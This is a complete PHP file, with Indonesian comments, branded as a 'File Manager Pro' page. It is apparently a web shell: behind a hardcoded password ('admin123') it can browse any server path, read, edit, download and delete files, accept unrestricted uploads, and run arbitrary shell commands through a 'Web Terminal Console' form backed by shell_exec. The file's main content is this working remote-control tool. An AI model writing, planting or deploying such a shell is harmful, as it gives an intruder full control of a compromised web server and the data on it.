﻿<?php
session_start();

// ==========================================
// PENGATURAN PASSWORD & UTAMA
// ==========================================
$PASSWORD = 'admin123';

// Matikan tampilan error di browser (agar tidak blank)
error_reporting(E_ALL);
ini_set('display_errors', 0); // error hanya di log, tidak ke output

// Proses Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: ?");
    exit;
}

// Proses Login
if (isset($_POST['login_password'])) {
    if ($_POST['login_password'] === $PASSWORD) {
        $_SESSION['logged_in'] = true;
    } else {
        $error_login = "Password salah!";
    }
}

// Cek Apakah Sudah Login
$is_logged_in = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;

// Jika belum login, tampilkan halaman login
if (!$is_logged_in): ?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - File Manager Pro</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-900 flex items-center justify-center h-screen">
    <div class="bg-white p-8 rounded-xl shadow-md w-full max-w-md">
        <h2 class="text-2xl font-bold text-gray-800 mb-6 text-center">📁 Pro File Manager</h2>
        <?php if (isset($error_login)): ?>
            <div class="mb-4 p-3 bg-red-100 text-red-700 text-sm rounded-lg"><?= htmlspecialchars($error_login) ?></div>
        <?php endif; ?>
        <form action="" method="POST" class="space-y-4">
            <div>
                <label class="block text-sm font-medium text-gray-700 mb-1">Masukkan Password</label>
                <input type="password" name="login_password" required class="w-full border border-gray-300 rounded-md p-2.5 focus:outline-none focus:ring-2 focus:ring-blue-500">
            </div>
            <button type="submit" class="w-full bg-blue-600 text-white p-2.5 rounded-md font-semibold hover:bg-blue-700 transition">Masuk</button>
        </form>
    </div>
</body>
</html>
<?php
exit;
endif;

// ==========================================
// LOGIK FILE MANAGER & SISTEM
// ==========================================

// Direktori awal (fallback aman)
$INITIAL_DIR = realpath('.') ?: __DIR__;

// Menentukan direktori aktif dengan validasi ketat
if (isset($_POST['goto_dir'])) {
    $requested_dir = $_POST['goto_dir'];
    $dir = is_dir($requested_dir) ? realpath($requested_dir) : $INITIAL_DIR;
} else {
    $dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $INITIAL_DIR;
}

// Jika path tidak valid, fallback ke direktori awal
if (!$dir || !is_dir($dir)) {
    $dir = $INITIAL_DIR;
}

$message = '';
$terminal_output = '';

// Aksi 1: Download File (Stream)
if (isset($_GET['download'])) {
    $download_path = realpath($_GET['download']);
    if ($download_path && is_file($download_path) && is_readable($download_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($download_path) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($download_path));
        readfile($download_path);
        exit;
    } else {
        $message = "File tidak ditemukan atau tidak dapat diakses.";
    }
}

// Aksi 2: Simpan Hasil Edit File
if (isset($_POST['save_file']) && isset($_POST['edit_file_path'])) {
    $file_to_save = $_POST['edit_file_path'];
    $content_to_save = $_POST['file_content'];
    if (file_exists($file_to_save) && is_writable($file_to_save)) {
        if (file_put_contents($file_to_save, $content_to_save) !== false) {
            $message = "File berhasil diperbarui!";
        } else {
            $message = "Gagal menulis file.";
        }
    } else {
        $message = "File tidak dapat ditulis. Cek permission.";
    }
}

// Aksi 3: Upload File
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
    $target_file = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target_file)) {
        $message = "File berhasil diunggah!";
    } else {
        $message = "Gagal mengunggah file.";
    }
} elseif (isset($_FILES['upload_file'])) {
    $message = "Error upload: " . $_FILES['upload_file']['error'];
}

// Aksi 4: Buat Folder Baru
if (isset($_POST['new_folder']) && !empty($_POST['folder_name'])) {
    $folder_name = trim($_POST['folder_name']);
    // Sanitasi nama folder (hindari path traversal)
    $folder_name = preg_replace('/[^a-zA-Z0-9_\-]/', '', $folder_name);
    if (!empty($folder_name)) {
        $new_folder_path = $dir . DIRECTORY_SEPARATOR . $folder_name;
        if (!file_exists($new_folder_path)) {
            if (@mkdir($new_folder_path, 0777, true)) {
                $message = "Folder berhasil dibuat!";
            } else {
                $message = "Gagal membuat folder.";
            }
        } else {
            $message = "Folder sudah ada.";
        }
    } else {
        $message = "Nama folder tidak valid.";
    }
}

// Aksi 5: Hapus File atau Folder
if (isset($_GET['delete'])) {
    $delete_path = realpath($_GET['delete']);
    if ($delete_path && strpos($delete_path, $dir) === 0) { // amankan agar tidak hapus di luar direktori
        if (is_dir($delete_path)) {
            if (@rmdir($delete_path)) {
                $message = "Folder dihapus.";
            } else {
                $message = "Gagal menghapus folder (mungkin tidak kosong).";
            }
        } elseif (is_file($delete_path)) {
            if (@unlink($delete_path)) {
                $message = "File dihapus.";
            } else {
                $message = "Gagal menghapus file.";
            }
        }
    } else {
        $message = "Item tidak valid atau berada di luar direktori.";
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// Aksi 6: Eksekusi Perintah Terminal
if (isset($_POST['terminal_cmd']) && !empty($_POST['terminal_cmd'])) {
    $cmd = $_POST['terminal_cmd'];
    // Batasi command untuk keamanan (opsional)
    // $cmd = escapeshellcmd($cmd);
    chdir($dir);
    if (function_exists('shell_exec')) {
        $terminal_output = shell_exec($cmd . " 2>&1");
        if ($terminal_output === null) {
            $terminal_output = "Perintah tidak menghasilkan output atau error.";
        }
    } else {
        $terminal_output = "Fungsi shell_exec dinonaktifkan di server ini.";
    }
}

// Membaca konten file untuk teks editor jika diminta
$edit_mode = false;
$edit_content = '';
$edit_file_name = '';
if (isset($_GET['edit'])) {
    $edit_path = realpath($_GET['edit']);
    if ($edit_path && is_file($edit_path) && is_readable($edit_path)) {
        $edit_mode = true;
        $edit_file_name = $edit_path;
        $edit_content = file_get_contents($edit_path);
        if ($edit_content === false) {
            $edit_content = "Gagal membaca file.";
        }
    } else {
        $message = "File tidak ditemukan atau tidak dapat dibaca.";
    }
}

// Membaca daftar file dengan aman
$files = [];
if (is_readable($dir)) {
    $scanned = @scandir($dir);
    if ($scanned !== false) {
        $files = array_diff($scanned, array('.', '..'));
    } else {
        $message = "Gagal membaca direktori.";
    }
} else {
    $message = "Direktori tidak dapat diakses (permission).";
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager Super Pro</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 font-sans text-gray-800">

    <div class="max-w-6xl mx-auto p-4 sm:p-6">
        
        <header class="mb-6 bg-white p-4 rounded-xl shadow-sm border border-gray-200 flex flex-col sm:flex-row justify-between items-start sm:items-center gap-4">
            <div>
                <h1 class="text-2xl font-bold text-indigo-600 mb-1">📁 File Manager Ultimate</h1>
                <p class="text-xs text-gray-500 break-all"><strong>Direktori Aktif:</strong> <?= htmlspecialchars($dir) ?></p>
            </div>
            <a href="?logout=true" class="bg-red-500 hover:bg-red-600 text-white px-4 py-2 rounded-md text-sm font-medium transition shadow-sm">Logout</a>
        </header>

        <?php if ($message): ?>
            <div class="mb-4 p-3 bg-blue-100 border border-blue-300 text-blue-800 text-sm rounded-lg shadow-sm">
                <?= htmlspecialchars($message) ?>
            </div>
        <?php endif; ?>

        <?php if ($edit_mode): ?>
            <div class="bg-white p-4 rounded-xl shadow-md border-2 border-amber-400 mb-6">
                <div class="flex justify-between items-center mb-3">
                    <h2 class="text-sm font-bold text-amber-700 flex items-center gap-1">📝 Mengedit: <span class="font-normal text-gray-600 break-all"><?= htmlspecialchars(basename($edit_file_name)) ?></span></h2>
                    <a href="?dir=<?= urlencode($dir) ?>" class="text-xs text-gray-500 hover:underline">Batal / Tutup Editor</a>
                </div>
                <form action="?dir=<?= urlencode($dir) ?>" method="POST">
                    <input type="hidden" name="edit_file_path" value="<?= htmlspecialchars($edit_file_name) ?>">
                    <textarea name="file_content" rows="12" class="w-full font-mono text-sm p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-amber-400 bg-gray-50"><?= htmlspecialchars($edit_content) ?></textarea>
                    <div class="mt-2 flex gap-2">
                        <button type="submit" name="save_file" class="bg-amber-500 hover:bg-amber-600 text-white px-5 py-2 rounded-md text-sm font-semibold transition">Simpan Perubahan</button>
                    </div>
                </form>
            </div>
        <?php endif; ?>

        <div class="bg-white p-4 rounded-xl shadow-sm border border-gray-200 mb-6">
            <form action="?dir=<?= urlencode($dir) ?>" method="POST" class="flex gap-2">
                <input type="text" name="goto_dir" value="<?= htmlspecialchars($dir) ?>" placeholder="Masukkan path absolut (Contoh: /var/www atau C:\)" required class="border border-gray-300 rounded-md p-2 text-sm w-full focus:outline-none focus:ring-2 focus:ring-indigo-500">
                <button type="submit" class="bg-indigo-600 text-white px-5 py-2 rounded-md text-sm font-medium hover:bg-indigo-700 transition whitespace-nowrap shadow-sm">Pindah Folder</button>
            </form>
        </div>

        <div class="grid grid-cols-1 md:grid-cols-2 gap-4 mb-6">
            <div class="bg-white p-4 rounded-xl shadow-sm border border-gray-200">
                <h2 class="text-sm font-semibold text-gray-700 mb-2">Upload File</h2>
                <form action="?dir=<?= urlencode($dir) ?>" method="POST" enctype="multipart/form-data" class="flex gap-2">
                    <input type="file" name="upload_file" required class="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 file:rounded-md file:border-0 file:text-sm file:font-semibold file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100">
                    <button type="submit" class="bg-blue-600 text-white px-4 py-2 rounded-md text-sm font-medium hover:bg-blue-700 transition shadow-sm">Upload</button>
                </form>
            </div>
            <div class="bg-white p-4 rounded-xl shadow-sm border border-gray-200">
                <h2 class="text-sm font-semibold text-gray-700 mb-2">Buat Folder</h2>
                <form action="?dir=<?= urlencode($dir) ?>" method="POST" class="flex gap-2">
                    <input type="text" name="folder_name" placeholder="Nama folder..." required class="border border-gray-300 rounded-md p-2 text-sm w-full focus:outline-none focus:ring-2 focus:ring-blue-500">
                    <button type="submit" name="new_folder" class="bg-green-600 text-white px-4 py-2 rounded-md text-sm font-medium hover:bg-green-700 transition whitespace-nowrap shadow-sm">Buat</button>
                </form>
            </div>
        </div>

        <div class="bg-white rounded-xl shadow-sm border border-gray-200 overflow-hidden mb-6">
            <table class="w-full text-left border-collapse">
                <thead>
                    <tr class="bg-gray-50 border-b border-gray-200 text-xs font-semibold text-gray-600 uppercase">
                        <th class="p-4">Nama Item</th>
                        <th class="p-4 w-48 text-center">Aksi Manajemen</th>
                    </tr>
                </thead>
                <tbody class="divide-y divide-gray-100 text-sm">
                    <?php 
                    $parent_dir = dirname($dir);
                    if ($parent_dir !== $dir): 
                    ?>
                        <tr class="hover:bg-gray-50">
                            <td class="p-4 font-medium" colspan="2">
                                <a href="?dir=<?= urlencode($parent_dir) ?>" class="text-indigo-600 hover:underline flex items-center gap-1">⬅️ .. (Naik 1 Tingkat)</a>
                            </td>
                        </tr>
                    <?php endif; ?>

                    <?php if (empty($files)): ?>
                        <tr><td class="p-8 text-center text-gray-400" colspan="2">Kosong / Tidak bisa diakses.</td></tr>
                    <?php endif; ?>

                    <?php foreach ($files as $file): 
                        $file_path = $dir . DIRECTORY_SEPARATOR . $file;
                        $is_folder = is_dir($file_path);
                    ?>
                        <tr class="hover:bg-gray-50 transition">
                            <td class="p-4 flex items-center gap-2">
                                <?php if ($is_folder): ?>
                                    📁 <a href="?dir=<?= urlencode($file_path) ?>" class="text-blue-600 font-medium hover:underline break-all"><?= htmlspecialchars($file) ?></a>
                                <?php else: ?>
                                    📄 <span class="text-gray-700 break-all"><?= htmlspecialchars($file) ?></span>
                                <?php endif; ?>
                            </td>
                            <td class="p-4 text-center">
                                <div class="flex justify-center gap-3 text-xs font-semibold">
                                    <?php if (!$is_folder): ?>
                                        <a href="?dir=<?= urlencode($dir) ?>&edit=<?= urlencode($file_path) ?>" class="text-amber-600 hover:text-amber-800">Edit</a>
                                        <a href="?dir=<?= urlencode($dir) ?>&download=<?= urlencode($file_path) ?>" class="text-green-600 hover:text-green-800">Download</a>
                                    <?php endif; ?>
                                    <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($file_path) ?>" onclick="return confirm('Hapus item ini?')" class="text-red-600 hover:text-red-800">Hapus</a>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>

        <div class="bg-gray-900 rounded-xl shadow-md overflow-hidden text-white border border-gray-800">
            <div class="bg-gray-800 px-4 py-2 flex items-center justify-between text-xs font-mono text-gray-400 border-b border-gray-700">
                <span>💻 Web Terminal Console</span>
                <span>Lokasi saat ini: Active Dir</span>
            </div>
            <div class="p-4">
                <?php if ($terminal_output): ?>
                    <pre class="bg-black text-green-400 font-mono text-xs p-3 rounded-md mb-3 overflow-x-auto max-h-60 whitespace-pre-wrap"><?= htmlspecialchars($terminal_output) ?></pre>
                <?php endif; ?>
                
                <form action="?dir=<?= urlencode($dir) ?>" method="POST" class="flex gap-2 items-center">
                    <span class="font-mono text-sm text-green-500">$</span>
                    <input type="text" name="terminal_cmd" placeholder="Ketik perintah shell (misal: ls -la atau whoami)..." class="w-full bg-transparent font-mono text-sm text-white focus:outline-none border-b border-gray-700 pb-1 focus:border-green-500">
                    <button type="submit" class="bg-gray-700 hover:bg-gray-600 text-xs px-3 py-1.5 rounded text-gray-200 transition font-mono">Run</button>
                </form>
            </div>
        </div>

    </div>

</body>
</ht